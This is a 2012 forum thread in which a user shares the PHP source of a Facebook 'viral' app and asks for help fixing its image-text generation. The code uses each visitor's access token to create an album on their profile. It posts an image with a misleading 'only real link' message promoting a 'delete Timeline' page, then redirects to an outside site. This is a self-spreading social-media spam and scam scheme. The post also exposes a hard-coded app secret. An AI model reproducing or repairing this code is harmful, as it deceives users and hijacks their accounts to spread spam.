1. Advertising
    y u no do it?

    Advertising (learn more)

    Advertise virtually anything here, with CPM banner ads, CPM email ads and CPC contextual links. You can target relevant areas of the site and show ads based on geographical location of the user if you wish.

    Starts at just $1 per CPM or $0.10 per CPC.

Problem with viral fb app

Discussion in 'Social Networks' started by nikmi, Mar 2, 2012.

  1. #1
    <?php
    session_start();
    require_once 'src/facebook.php'; // EDIT
    $app_id = "380766461935315";
    $app_secret = "c2f57865f791e33e64c3128bd9a481aa";
    $redirect_uri ="http://vratistarifb.azok.org/timeline/main.php";
    $facebook = new Facebook(array(
    'appId' => $app_id,
    'secret' => $app_secret,
    'cookie' => true
    ));
    $user = $facebook->getUser();
    $user_profile = $facebook->api('/me');

    $coded = $_REQUEST['code'];

    $access_token = $facebook->getAccessToken();
    $name = "".$user_profile['name']."";
    $fbid = "".$user_profile['id']."";

    function RandomLine($filename) {
    $lines = file($filename) ;
    return $lines[array_rand($lines)] ;
    }
    $reason = RandomLine("reason.txt");

    $canvas = imagecreatefromjpeg ("logo.jpg"); // background image file
    $black = imagecolorallocate( $canvas, 0, 0, 0 ); // The second colour - to be used for the text
    $font = "tahomabd.TTF"; // Path to the font you are going to use
    $fontsize = 16; // font size

    $birthday = "".$user_profile['birthday']."";
    $death = "".date('d/m/Y', strtotime( '+'.rand(0, 20000).' days'))."";

    imagettftext( $canvas, 24, 0, 129, 232, $black, $font, $name ); // name
    //imagettftext( $canvas, 10, -1, 122, 202, $black, $font, $death ); // death
    //imagettftext( $canvas, 20, -1, 110, 170, $black, $font, $birthday ); // birthday
    imagettftext( $canvas, 24, 0, 110, 453, $black, $font, $reason ); // reason


    imagejpeg( $canvas, "img/".$fbid.".jpg", 50 );

    $facebook->setFileUploadSupport(true);

    //Create an album
    $album_details = array(
    'message'=> 'Saznaj kako ces preci na kraju skolskoe godine?',
    'name'=> 'pogledaj kako ces preci ?'
    );
    $create_album = $facebook->api('/me/albums', 'post', $album_details);

    //Get album ID of the album you've just created
    $album_uid = $create_album['id'];

    //Upload a photo to album of ID...

    $file='img/'.$fbid.'.jpg'; //Example image file

    $photo_details = array( 'message'=> 'Obrisite timeline,jedini pravi link -----> http://www.facebook.com/pages/Kako-obrisati-Timeline/354038287961334', 'image' => '@' . realpath($file) );
    $upload_photo = $facebook->api('/'.$album_uid.'/photos', 'post', $photo_details);

    $upphoto = $upload_photo['id'];


    ImageDestroy( $canvas );

    header("location: http://timelineremove.com/")
    ?>


















    It is a main.php file,now this app post image and generate name and txt from reason.txt on it,but error is in generate,but when i install app full and coretly it just post image but no generate text on picture what is the error ? Sorry for bad english
     
    nikmi, Mar 2, 2012 IP
  2. sempak

    sempak Peon

    Messages:
    5
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #2
    aku yo ra mudeng bro
     
    sempak, Mar 2, 2012 IP